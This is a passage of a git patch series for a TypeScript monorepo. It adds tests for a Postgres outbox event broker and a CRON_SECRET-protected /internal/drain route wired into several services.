purged: 0 }); + expect((await handle.sql`select 1 from event_consumers`).length).toBe(0); + }); + }); + + describe('events published while draining', () => { + it('lets a handler publish follow-up events, which their consumers receive on a later drain', async () => { + const [first, second] = [consumerName('first'), consumerName('second')]; + const broker = newBroker(); + const followed: string[] = []; + await broker.subscribe({ + consumer: first, + eventTypes: ['outreach.sent'], + handler: async (envelope) => { + await broker.publish( + createEvent( + 'learning.updated', + { model_version: 'derived', samples: 1, metric: 'm', value: 1 }, + envelope.trace, + ), + ); + }, + }); + await broker.subscribe({ + consumer: second, + eventTypes: ['learning.updated'], + handler: async (envelope) => { + followed.push(envelope.trace.trace_id); + }, + }); + const trigger = outreachEvent(); + await broker.publish(trigger); + + // Fan-out happens before the handlers run, so the derived event waits for the next drain. + expect((await broker.drain()).processed).toBe(1); + expect(followed).toEqual([]); + expect((await broker.drain()).processed).toBe(1); + expect(followed).toEqual([trigger.trace.trace_id]); + }); + }); + + describe('redelivery of a parent event', () => { + it('does not multiply follow-up events when they use derived ids', async () => { + const [producer, follower] = [consumerName('producer'), consumerName('follower')]; + const broker = newBroker(); + let followed = 0; + await broker.subscribe({ + consumer: producer, + eventTypes: ['outreach.sent'], + handler: async (envelope) => { + await broker.publish( + createEvent( + 'learning.updated', + { model_version: 'derived', samples: 1, metric: 'm', value: 1 }, + envelope.trace, + undefined, + derivedEventId(envelope.event_id, 'learning.updated:derived'), + ), + ); + }, + }); + await broker.subscribe({ + consumer: follower, + eventTypes: ['learning.updated'], + handler: async () => { + followed += 1; + }, + }); + const parent = outreachEvent(); + await broker.publish(parent); + await broker.drain(); + await broker.drain(); + expect(followed).toBe(1); + + // The parent is delivered to its consumer a second time (at-least-once). + await handle.sql`delete from processed_events where consumer = ${producer}`; + await handle.sql`update event_deliveries set status = 'pending', attempts = 0, next_attempt_at = now() where consumer = ${producer}`; + expect((await broker.drain()).processed).toBe(1); + await broker.drain(); + + const derived = + await handle.sql`select 1 from event_outbox where event_type = 'learning.updated'`; + expect(derived).toHaveLength(1); + expect(followed).toBe(1); + }); + }); + + describe('purge', () => { + it('removes old delivered events but keeps pending, dead, undelivered and recent ones', async () => { + const [p, q] = [consumerName('p'), consumerName('q')]; + const broker = newBroker(); + await broker.subscribe({ + consumer: p, + eventTypes: ['outreach.sent'], + maxRetries: 0, + handler: async (envelope) => { + if (envelope.payload && (envelope.payload as { channel: string }).channel === 'sms') { + throw new Error('p rejects sms'); + } + }, + }); + const broker2 = newBroker({ backoffMs: () => 60_000 }); + await broker2.subscribe({ + consumer: q, + eventTypes: ['outreach.sent'], + handler: async (envelope) => { + if ((envelope.payload as { channel: string }).channel === 'linkedin') { + throw new Error('q rejects linkedin'); + } + }, + }); + + const delivered = outreachEvent('email'); + const deadForP = outreachEvent('sms'); + const pendingForQ = outreachEvent('linkedin'); + const fresh = outreachEvent('email'); + const unwatched = learningEvent(); // no consumer subscribes to this type + for (const event of [delivered, deadForP, pendingForQ, fresh, unwatched]) { + await broker.publish(event); + } + await broker.drain(); + await broker2.drain(); + expect((await delivery(deadForP.event_id, p))?.status).toBe('dead'); + expect((await delivery(pendingForQ.event_id, q))?.status).toBe('pending'); + + await age([delivered, deadForP, pendingForQ, unwatched].map((e) => e.event_id)); + const cutoff = new Date(Date.now() - 24 * 60 * 60 * 1000); + + expect(await broker.purge(cutoff)).toBe(2); + expect((await outboxIds()).sort()).toEqual( + [deadForP, pendingForQ, fresh].map((e) => e.event_id).sort(), + ); + // Delivery rows go with their event. + expect(await delivery(delivered.event_id, p)).toBeUndefined(); + expect(await delivery(delivered.event_id, q)).toBeUndefined(); + + expect(await broker.purge(cutoff, { includeDead: true })).toBe(1); + expect((await outboxIds()).sort()).toEqual( + [pendingForQ, fresh].map((e) => e.event_id).sort(), + ); + // Still retrying: never purged, however old. + expect(await broker.purge(new Date())).toBe(1); // only `fresh` (delivered, now older than the cutoff) + expect(await outboxIds()).toEqual([pendingForQ.event_id]); + }); + + it('keeps an event a registered consumer has not been fanned out to yet', async () => { + const consumer = consumerName('dormant'); + const broker = newBroker(); + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => undefined, + }); + const event = outreachEvent(); + await broker.publish(event); + await broker.drain(); + + await age([event.event_id]); + // The consumer's cursor is still at the epoch (it has never fanned out). + await handle.sql`update event_consumers set materialized_through = '1970-01-01T00:00:00Z' where consumer = ${consumer}`; + await handle.sql`delete from event_deliveries where consumer = ${consumer}`; + const cutoff = new Date(Date.now() - 24 * 60 * 60 * 1000); + expect(await broker.purge(cutoff)).toBe(0); + + await handle.sql`update event_consumers set materialized_through = now() where consumer = ${consumer}`; + expect(await broker.purge(cutoff)).toBe(1); + }); + + it('honours the per-call limit', async () => { + const broker = newBroker(); + const events = [outreachEvent(), outreachEvent(), outreachEvent()]; + for (const event of events) await broker.publish(event); + await age(events.map((e) => e.event_id)); + + const cutoff = new Date(Date.now() - 24 * 60 * 60 * 1000); + expect(await broker.purge(cutoff, { limit: 2 })).toBe(2); + expect(await broker.purge(cutoff, { limit: 2 })).toBe(1); + }); + + it('runs as a bounded retention sweep at the end of a drain', async () => { + const consumer = consumerName('sweep'); + const broker = newBroker({ retentionMs: 60_000 }); + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => undefined, + }); + const event = outreachEvent(); + await broker.publish(event); + + const first = await broker.drain(); + expect(first).toMatchObject({ processed: 1, purged: 0 }); + + await age([event.event_id], '1 hour'); + const second = await broker.drain(); + expect(second.purged).toBe(1); + expect(await outboxIds()).toEqual([]); + }); + + it('is disabled when retentionMs is 0', async () => { + const consumer = consumerName('no-sweep'); + const broker = newBroker({ retentionMs: 0 }); + await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => undefined, + }); + const event = outreachEvent(); + await broker.publish(event); + await broker.drain(); + await age([event.event_id], '30 days'); + + expect((await broker.drain()).purged).toBe(0); + expect(await outboxIds()).toEqual([event.event_id]); + }); + }); + + describe('lifecycle', () => { + it('rejects a duplicate consumer name and lets stop() release it', async () => { + const consumer = consumerName('dupe-sub'); + const broker = newBroker(); + const subscription = await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => undefined, + }); + await expect( + broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => undefined, + }), + ).rejects.toThrow(/already subscribed/); + + await subscription.stop(); + await expect( + broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => undefined, + }), + ).resolves.toMatchObject({ consumer }); + }); + + it('rejects an empty subscription and an over-long consumer name', async () => { + const broker = newBroker(); + await expect( + broker.subscribe({ + consumer: consumerName('empty'), + eventTypes: [], + handler: async () => undefined, + }), + ).rejects.toThrow(/at least one event type/); + await expect( + broker.subscribe({ + consumer: 'x'.repeat(161), + eventTypes: ['outreach.sent'], + handler: async () => undefined, + }), + ).rejects.toThrow(/Consumer name/); + }); + + it('does not deliver to a subscription that was stopped', async () => { + const consumer = consumerName('stopped'); + const broker = newBroker(); + let calls = 0; + const subscription = await broker.subscribe({ + consumer, + eventTypes: ['outreach.sent'], + handler: async () => { + calls += 1; + }, + }); + await broker.publish(outreachEvent()); + await subscription.stop(); + + expect(await broker.drain()).toMatchObject({ processed: 0 }); + expect(calls).toBe(0); + }); + + it('is drainable, reports healthy until closed, then refuses work', async () => { + const broker = newBroker(); + expect(isDrainableBroker(broker)).toBe(true); + expect(broker.isHealthy()).toBe(true); + + await broker.close(); + expect(broker.isHealthy()).toBe(false); + await expect(broker.publish(outreachEvent())).rejects.toThrow(/closed/); + await expect(broker.drain()).rejects.toThrow(/closed/); + // close() does not close the caller's database handle. + expect((await handle.sql`select 1 as ok`)[0]).toMatchObject({ ok: 1 }); + }); + }); +}); diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 47a225a..e32aa91 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -195,6 +195,9 @@ importers: packages/messaging: dependencies: + '@atlas/db': + specifier: workspace:* + version: link:../db '@atlas/types': specifier: workspace:* version: link:../types @@ -204,10 +207,22 @@ importers: amqplib: specifier: ^0.10.5 version: 0.10.9 + drizzle-orm: + specifier: ^0.45.2 + version: 0.45.2(@opentelemetry/api@1.9.1)(postgres@3.4.9) devDependencies: + '@atlas/auth-kit': + specifier: workspace:* + version: link:../auth-kit + '@atlas/storage': + specifier: workspace:* + version: link:../storage '@types/amqplib': specifier: ^0.10.6 version: 0.10.8 + jose: + specifier: ^6.2.12 + version: 6.2.12 packages/observability: dependencies: From 25574b67c2888b585c6ff326739792d545a92101 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:44:47 +0000 Subject: [PATCH 20/91] feat(services): pass the database handle to createBroker in all services Lets MESSAGING_DRIVER=postgres build its outbox broker from the service's own pool. Ignored by the memory and rabbitmq drivers. Documents the driver and CRON_SECRET in .env.example. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .env.example | 11 ++++++++++- services/analytics/src/index.ts | 1 + services/applications/src/index.ts | 1 + services/jobs/src/index.ts | 1 + services/learning/src/index.ts | 1 + services/matching/src/index.ts | 1 + services/outreach/src/index.ts | 1 + services/profile/src/index.ts | 1 + services/referrals/src/index.ts | 1 + 9 files changed, 18 insertions(+), 1 deletion(-) diff --git a/.env.example b/.env.example index fa4e941..a234dab 100644 --- a/.env.example +++ b/.env.example @@ -13,9 +13,18 @@ REDIS_URL=redis://localhost:6379 ATLAS_TEST_DATABASE_URL=postgres://atlas:atlas@localhost:5432/atlas_test # --- Messaging -------------------------------------------------------------- -# driver: memory | rabbitmq +# driver: memory | rabbitmq | postgres +# memory - in-process, for tests and a single local process (default) +# postgres - durable outbox in the shared database; the only driver that +# delivers events across Vercel functions. Consumers (matching, +# referrals, learning, analytics) only run when their +# /internal/drain route is hit, so CRON_SECRET must be set there. MESSAGING_DRIVER=memory RABBITMQ_URL=amqp://atlas:atlas@localhost:5672 +# Bearer secret for POST|GET /internal/drain on the four consumer services +# (Vercel Cron sends it as `Authorization: Bearer $CRON_SECRET`). At least 16 +# characters, e.g. `openssl rand -hex 32`. Unset, the route answers 503. +# CRON_SECRET= # --- Storage ---------------------------------------------------------------- # driver: local | s3 diff --git a/services/analytics/src/index.ts b/services/analytics/src/index.ts index 1a6b7b8..e308466 100644 --- a/services/analytics/src/index.ts +++ b/services/analytics/src/index.ts @@ -14,6 +14,7 @@ const broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger, }); const tokenVerifier = createTokenVerifierConfig(env); diff --git a/services/applications/src/index.ts b/services/applications/src/index.ts index 7d2704d..9f1dbb1 100644 --- a/services/applications/src/index.ts +++ b/services/applications/src/index.ts @@ -13,6 +13,7 @@ const broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger, }); const tokenVerifier = createTokenVerifierConfig(env); diff --git a/services/jobs/src/index.ts b/services/jobs/src/index.ts index e7015c4..1118c67 100644 --- a/services/jobs/src/index.ts +++ b/services/jobs/src/index.ts @@ -13,6 +13,7 @@ const broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger, }); const tokenVerifier = createTokenVerifierConfig(env); diff --git a/services/learning/src/index.ts b/services/learning/src/index.ts index db67bbd..cbf9bc9 100644 --- a/services/learning/src/index.ts +++ b/services/learning/src/index.ts @@ -14,6 +14,7 @@ const broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger, }); const tokenVerifier = createTokenVerifierConfig(env); diff --git a/services/matching/src/index.ts b/services/matching/src/index.ts index 386d413..4e525ca 100644 --- a/services/matching/src/index.ts +++ b/services/matching/src/index.ts @@ -13,6 +13,7 @@ const broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger, }); diff --git a/services/outreach/src/index.ts b/services/outreach/src/index.ts index 520bd7e..26bd6d1 100644 --- a/services/outreach/src/index.ts +++ b/services/outreach/src/index.ts @@ -14,6 +14,7 @@ const broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger, }); const tokenVerifier = createTokenVerifierConfig(env); diff --git a/services/profile/src/index.ts b/services/profile/src/index.ts index 399904f..810c6ee 100644 --- a/services/profile/src/index.ts +++ b/services/profile/src/index.ts @@ -14,6 +14,7 @@ const broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger, }); const storage = createStorage({ driver: env.STORAGE_DRIVER, localRoot: env.STORAGE_LOCAL_ROOT }); diff --git a/services/referrals/src/index.ts b/services/referrals/src/index.ts index d89d1fc..16dc8e5 100644 --- a/services/referrals/src/index.ts +++ b/services/referrals/src/index.ts @@ -14,6 +14,7 @@ const broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger, }); const tokenVerifier = createTokenVerifierConfig(env); From 2f765effa138d13f213264208ded4e661f12a94b Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:44:47 +0000 Subject: [PATCH 21/91] feat(services): authenticated /internal/drain for the event consumers matching, referrals, learning and analytics each expose a drain route that runs their queued deliveries. It is authenticated by Authorization: Bearer CRON_SECRET (constant-time compare), answers 503 and never runs when CRON_SECRET is unset, accepts GET because that is what Vercel Cron sends (and POST for manual runs), and is served at /internal/drain plus a service-scoped /internal//drain that a vercel.json rewrite can target, since all services share one Vercel project. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- services/analytics/src/app.ts | 2 + services/analytics/src/env.ts | 6 + services/analytics/src/http/routes/drain.ts | 66 ++++++ services/analytics/test/drain-route.test.ts | 212 ++++++++++++++++++++ services/analytics/test/entrypoint.test.ts | 28 +++ services/learning/src/app.ts | 2 + services/learning/src/env.ts | 6 + services/learning/src/http/routes/drain.ts | 66 ++++++ services/learning/test/drain-route.test.ts | 212 ++++++++++++++++++++ services/learning/test/entrypoint.test.ts | 28 +++ services/matching/src/app.ts | 2 + services/matching/src/env.ts | 6 + services/matching/src/http/routes/drain.ts | 66 ++++++ services/matching/test/drain-route.test.ts | 207 +++++++++++++++++++ services/matching/test/entrypoint.test.ts | 28 +++ services/referrals/src/app.ts | 2 + services/referrals/src/env.ts | 6 + services/referrals/src/http/routes/drain.ts | 66 ++++++ services/referrals/test/drain-route.test.ts | 212 ++++++++++++++++++++ services/referrals/test/entrypoint.test.ts | 28 +++ 20 files changed, 1251 insertions(+) create mode 100644 services/analytics/src/http/routes/drain.ts create mode 100644 services/analytics/test/drain-route.test.ts create mode 100644 services/learning/src/http/routes/drain.ts create mode 100644 services/learning/test/drain-route.test.ts create mode 100644 services/matching/src/http/routes/drain.ts create mode 100644 services/matching/test/drain-route.test.ts create mode 100644 services/referrals/src/http/routes/drain.ts create mode 100644 services/referrals/test/drain-route.test.ts diff --git a/services/analytics/src/app.ts b/services/analytics/src/app.ts index 8827701..07778be 100644 --- a/services/analytics/src/app.ts +++ b/services/analytics/src/app.ts @@ -11,6 +11,7 @@ import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; import type { AnalyticsServiceEnv } from './env.js'; +import { drainRoute } from './http/routes/drain.js'; import { getSummaryRoute } from './http/routes/get-summary.js'; import { healthRoute } from './http/routes/health.js'; @@ -93,6 +94,7 @@ export function buildApp(deps: AppDeps): FastifyInstance { healthRoute(app, deps); metricsRoute(app, metrics); + drainRoute(app, deps); getSummaryRoute(app, deps); return app; diff --git a/services/analytics/src/env.ts b/services/analytics/src/env.ts index 6f40a1f..80f6dcb 100644 --- a/services/analytics/src/env.ts +++ b/services/analytics/src/env.ts @@ -7,6 +7,12 @@ export const analyticsServiceEnvSchema = z.object({ ...httpEnvSchema.shape, ...messagingEnvSchema.shape, ...supabaseAuthEnvSchema.shape, + /** + * Bearer secret for `/internal/drain`, which Vercel Cron sends as + * `Authorization: Bearer $CRON_SECRET` when this variable is set. Unset, the + * route answers 503 and never runs a drain. + */ + CRON_SECRET: z.string().min(16, 'CRON_SECRET must be at least 16 characters').optional(), }); export type AnalyticsServiceEnv = z.infer; diff --git a/services/analytics/src/http/routes/drain.ts b/services/analytics/src/http/routes/drain.ts new file mode 100644 index 0000000..7e0cb09 --- /dev/null +++ b/services/analytics/src/http/routes/drain.ts @@ -0,0 +1,66 @@ +import type { FastifyInstance, FastifyReply, FastifyRequest } from 'fastify'; +import { z } from 'zod'; +import { isAuthorizedDrainRequest, isDrainableBroker } from '@atlas/messaging'; +import { AppError } from '@atlas/utils'; +import type { AppDeps } from '../../app.js'; + +/** + * Functions run with a 30s max duration (vercel.json). The budget is only + * checked between deliveries, so leave room for a handler that is mid-flight + * when it runs out. + */ +const DEFAULT_BUDGET_MS = 20_000; +const MAX_BUDGET_MS = 25_000; + +/** + * Every service shares one Vercel project, and vercel.json rewrites by public + * path, so four services cannot all be reached at `/internal/drain`. The + * service-scoped path is the one a rewrite can send to this function (and the + * one its cron targets); `/internal/drain` is the same handler, for local runs + * and manual triggers. + */ +const DRAIN_PATHS = ['/internal/drain', '/internal/analytics/drain'] as const; + +const drainQuerySchema = z.object({ + limit: z.coerce.number().int().min(1).max(1000).optional(), + budget_ms: z.coerce.number().int().min(100).max(MAX_BUDGET_MS).optional(), +}); + +/** + * `/internal/drain` runs this service's queued event deliveries (see the + * `postgres` messaging driver). Vercel Cron triggers it with a GET carrying + * `Authorization: Bearer $CRON_SECRET`; POST is accepted for manual runs. + * Without a configured CRON_SECRET the route is disabled outright rather than + * open, so a missing variable can never expose it. + */ +export function drainRoute(app: FastifyInstance, deps: AppDeps): void { + const handle = async (request: FastifyRequest, reply: FastifyReply): Promise => { + const secret = deps.env.CRON_SECRET; + if (secret === undefined) { + throw new AppError('UPSTREAM_UNAVAILABLE', 'Event draining is not configured'); + } + if (!isAuthorizedDrainRequest(request.headers.authorization, secret)) { + reply.header('www-authenticate', 'Bearer'); + throw new AppError('UNAUTHENTICATED', 'Missing or invalid drain credentials'); + } + if (!isDrainableBroker(deps.broker)) { + throw new AppError('CONFLICT', 'The configured messaging driver has nothing to drain'); + } + + const query = drainQuerySchema.parse(request.query); + const startedAt = Date.now(); + const result = await deps.broker.drain({ + budgetMs: query.budget_ms ?? DEFAULT_BUDGET_MS, + limit: query.limit, + }); + const durationMs = Date.now() - startedAt; + + request.log.info({ ...result, duration_ms: durationMs }, 'drained queued events'); + reply.status(200).send({ ...result, duration_ms: durationMs }); + }; + + for (const path of DRAIN_PATHS) { + app.get(path, handle); + app.post(path, handle); + } +} diff --git a/services/analytics/test/drain-route.test.ts b/services/analytics/test/drain-route.test.ts new file mode 100644 index 0000000..4631736 --- /dev/null +++ b/services/analytics/test/drain-route.test.ts @@ -0,0 +1,212 @@ +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createBroker, type DrainableBroker, type DrainOptions } from '@atlas/messaging'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadAnalyticsServiceEnv } from '../src/env.js'; + +const SECRET = 'cron-secret-for-tests-0123456789'; +const SUPABASE_URL = 'https://test-project.supabase.co'; +// Nothing listens on port 1; the drain route never reaches the database. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_drain_route'; + +type StubBroker = DrainableBroker & { calls: DrainOptions[] }; + +function stubBroker(): StubBroker { + const calls: DrainOptions[] = []; + return { + calls, + publish: async () => undefined, + subscribe: async (options) => ({ consumer: options.consumer, stop: async () => undefined }), + isHealthy: () => true, + close: async () => undefined, + drain: async (options) => { + calls.push(options ?? {}); + return { processed: 2, failed: 1, dead: 0, purged: 3 }; + }, + }; +} + +const opened: Array<{ app: FastifyInstance; handle: DatabaseHandle }> = []; + +function build( + broker: DrainableBroker | ReturnType, + envOverrides: Record = { CRON_SECRET: SECRET }, +): FastifyInstance { + const env = loadAnalyticsServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4009', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + broker, + tokenVerifier: createTokenVerifierConfig(env), + }); + opened.push({ app, handle }); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle.close(); + } +}); + +describe('analytics-service /internal/drain', () => { + it('answers 503 and never drains when CRON_SECRET is not configured', async () => { + const broker = stubBroker(); + const app = build(broker, {}); + + for (const authorization of [undefined, `Bearer ${SECRET}`]) { + const response = await app.inject({ + method: 'POST', + url: '/internal/drain', + ...(authorization === undefined ? {} : { headers: { authorization } }), + }); + expect(response.statusCode).toBe(503); + expect(response.json().error.code).toBe('UPSTREAM_UNAVAILABLE'); + } + expect(broker.calls).toHaveLength(0); + }); + + it('answers 401 without a bearer token', async () => { + const broker = stubBroker(); + const app = build(broker); + + const response = await app.inject({ method: 'POST', url: '/internal/drain' }); + + expect(response.statusCode).toBe(401); + expect(response.headers['www-authenticate']).toBe('Bearer'); + expect(response.json().error.code).toBe('UNAUTHENTICATED'); + expect(broker.calls).toHaveLength(0); + }); + + it.each([ + ['a wrong secret', 'Bearer not-the-secret'], + ['a truncated secret', `Bearer ${SECRET.slice(0, -1)}`], + ['an extended secret', `Bearer ${SECRET}0`], + ['another auth scheme', `Basic ${SECRET}`], + ['a bare secret', SECRET], + ])('answers 401 for %s', async (_label, authorization) => { + const broker = stubBroker(); + const app = build(broker); + + for (const method of ['GET', 'POST'] as const) { + const response = await app.inject({ + method, + url: '/internal/drain', + headers: { authorization }, + }); + expect(response.statusCode).toBe(401); + } + expect(broker.calls).toHaveLength(0); + }); + + it('drains and returns the counts on POST and on the GET Vercel Cron actually sends', async () => { + const broker = stubBroker(); + const app = build(broker); + + for (const method of ['GET', 'POST'] as const) { + const response = await app.inject({ + method, + url: '/internal/drain', + headers: { authorization: `Bearer ${SECRET}` }, + }); + expect(response.statusCode).toBe(200); + expect(response.json()).toMatchObject({ processed: 2, failed: 1, dead: 0, purged: 3 }); + expect(typeof response.json().duration_ms).toBe('number'); + } + expect(broker.calls).toEqual([ + { budgetMs: 20_000, limit: undefined }, + { budgetMs: 20_000, limit: undefined }, + ]); + }); + + it('serves the same protected handler at the service-scoped path a Vercel rewrite can target', async () => { + const broker = stubBroker(); + const app = build(broker); + const path = '/internal/analytics/drain'; + + expect((await app.inject({ method: 'GET', url: path })).statusCode).toBe(401); + expect((await app.inject({ method: 'POST', url: path })).statusCode).toBe(401); + expect(broker.calls).toHaveLength(0); + + for (const method of ['GET', 'POST'] as const) { + const response = await app.inject({ + method, + url: path, + headers: { authorization: `Bearer ${SECRET}` }, + }); + expect(response.statusCode).toBe(200); + expect(response.json()).toMatchObject({ processed: 2, failed: 1, dead: 0, purged: 3 }); + } + expect(broker.calls).toHaveLength(2); + }); + + it('passes a validated limit and time budget through to the broker', async () => { + const broker = stubBroker(); + const app = build(broker); + + const response = await app.inject({ + method: 'POST', + url: '/internal/drain?limit=7&budget_ms=1500', + headers: { authorization: `Bearer ${SECRET}` }, + }); + + expect(response.statusCode).toBe(200); + expect(broker.calls).toEqual([{ budgetMs: 1500, limit: 7 }]); + }); + + it('rejects a budget that would outlive the function, and checks credentials before the query', async () => { + const broker = stubBroker(); + const app = build(broker); + + const tooLong = await app.inject({ + method: 'POST', + url: '/internal/drain?budget_ms=60000', + headers: { authorization: `Bearer ${SECRET}` }, + }); + expect(tooLong.statusCode).toBe(400); + + const badEverything = await app.inject({ + method: 'POST', + url: '/internal/drain?limit=0', + headers: { authorization: 'Bearer nope' }, + }); + expect(badEverything.statusCode).toBe(401); + expect(broker.calls).toHaveLength(0); + }); + + it('reports 409 when the configured driver has nothing to drain', async () => { + const app = build(createBroker({ driver: 'memory', logger: createSilentLogger() })); + + const response = await app.inject({ + method: 'POST', + url: '/internal/drain', + headers: { authorization: `Bearer ${SECRET}` }, + }); + + expect(response.statusCode).toBe(409); + }); + + it('refuses to boot with a CRON_SECRET too short to be a secret', () => { + expect(() => + loadAnalyticsServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4009', + SUPABASE_URL, + CRON_SECRET: 'short', + }), + ).toThrow(/CRON_SECRET/); + }); +}); diff --git a/services/analytics/test/entrypoint.test.ts b/services/analytics/test/entrypoint.test.ts index 3b73b4c..b1543f9 100644 --- a/services/analytics/test/entrypoint.test.ts +++ b/services/analytics/test/entrypoint.test.ts @@ -134,6 +134,34 @@ describe('analytics-service Vercel entrypoint', () => { for (const consumer of tracked.consumers) expect(consumer).toMatch(/^analytics-service\./); }); + it('wires the postgres driver to a drain route that is closed to callers without the cron secret', async () => { + const secret = 'entrypoint-cron-secret-0123456789'; + const { app } = await loadEntrypoint({ MESSAGING_DRIVER: 'postgres', CRON_SECRET: secret }); + + const anonymous = await app.inject({ method: 'POST', url: '/internal/drain' }); + expect(anonymous.statusCode).toBe(401); + + // An authorized call reaches the postgres broker, which then finds no database to drain: a + // plain 500 (so Vercel Cron records a failure) rather than a hang or a silent 200. + const failed = await app.inject({ + method: 'POST', + url: '/internal/drain', + headers: { authorization: `Bearer ${secret}` }, + }); + expect(failed.statusCode).toBe(500); + }); + + it('keeps /internal/drain disabled on Vercel until CRON_SECRET is configured', async () => { + const { app } = await loadEntrypoint({ MESSAGING_DRIVER: 'postgres' }); + + const response = await app.inject({ + method: 'POST', + url: '/internal/drain', + headers: { authorization: 'Bearer anything-at-all-0123456789' }, + }); + expect(response.statusCode).toBe(503); + }); + it('serves /health through the default handler without any live infrastructure', async () => { const { default: handler } = await loadEntrypoint(); diff --git a/services/learning/src/app.ts b/services/learning/src/app.ts index e96fcdb..f02eed7 100644 --- a/services/learning/src/app.ts +++ b/services/learning/src/app.ts @@ -11,6 +11,7 @@ import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; import type { LearningServiceEnv } from './env.js'; +import { drainRoute } from './http/routes/drain.js'; import { getMetricsRoute } from './http/routes/get-metrics.js'; import { healthRoute } from './http/routes/health.js'; @@ -93,6 +94,7 @@ export function buildApp(deps: AppDeps): FastifyInstance { healthRoute(app, deps); metricsRoute(app, metrics); + drainRoute(app, deps); getMetricsRoute(app, deps); return app; diff --git a/services/learning/src/env.ts b/services/learning/src/env.ts index a7ba748..52e4aaf 100644 --- a/services/learning/src/env.ts +++ b/services/learning/src/env.ts @@ -7,6 +7,12 @@ export const learningServiceEnvSchema = z.object({ ...httpEnvSchema.shape, ...messagingEnvSchema.shape, ...supabaseAuthEnvSchema.shape, + /** + * Bearer secret for `/internal/drain`, which Vercel Cron sends as + * `Authorization: Bearer $CRON_SECRET` when this variable is set. Unset, the + * route answers 503 and never runs a drain. + */ + CRON_SECRET: z.string().min(16, 'CRON_SECRET must be at least 16 characters').optional(), }); export type LearningServiceEnv = z.infer; diff --git a/services/learning/src/http/routes/drain.ts b/services/learning/src/http/routes/drain.ts new file mode 100644 index 0000000..aaeb020 --- /dev/null +++ b/services/learning/src/http/routes/drain.ts @@ -0,0 +1,66 @@ +import type { FastifyInstance, FastifyReply, FastifyRequest } from 'fastify'; +import { z } from 'zod'; +import { isAuthorizedDrainRequest, isDrainableBroker } from '@atlas/messaging'; +import { AppError } from '@atlas/utils'; +import type { AppDeps } from '../../app.js'; + +/** + * Functions run with a 30s max duration (vercel.json). The budget is only + * checked between deliveries, so leave room for a handler that is mid-flight + * when it runs out. + */ +const DEFAULT_BUDGET_MS = 20_000; +const MAX_BUDGET_MS = 25_000; + +/** + * Every service shares one Vercel project, and vercel.json rewrites by public + * path, so four services cannot all be reached at `/internal/drain`. The + * service-scoped path is the one a rewrite can send to this function (and the + * one its cron targets); `/internal/drain` is the same handler, for local runs + * and manual triggers. + */ +const DRAIN_PATHS = ['/internal/drain', '/internal/learning/drain'] as const; + +const drainQuerySchema = z.object({ + limit: z.coerce.number().int().min(1).max(1000).optional(), + budget_ms: z.coerce.number().int().min(100).max(MAX_BUDGET_MS).optional(), +}); + +/** + * `/internal/drain` runs this service's queued event deliveries (see the + * `postgres` messaging driver). Vercel Cron triggers it with a GET carrying + * `Authorization: Bearer $CRON_SECRET`; POST is accepted for manual runs. + * Without a configured CRON_SECRET the route is disabled outright rather than + * open, so a missing variable can never expose it. + */ +export function drainRoute(app: FastifyInstance, deps: AppDeps): void { + const handle = async (request: FastifyRequest, reply: FastifyReply): Promise => { + const secret = deps.env.CRON_SECRET; + if (secret === undefined) { + throw new AppError('UPSTREAM_UNAVAILABLE', 'Event draining is not configured'); + } + if (!isAuthorizedDrainRequest(request.headers.authorization, secret)) { + reply.header('www-authenticate', 'Bearer'); + throw new AppError('UNAUTHENTICATED', 'Missing or invalid drain credentials'); + } + if 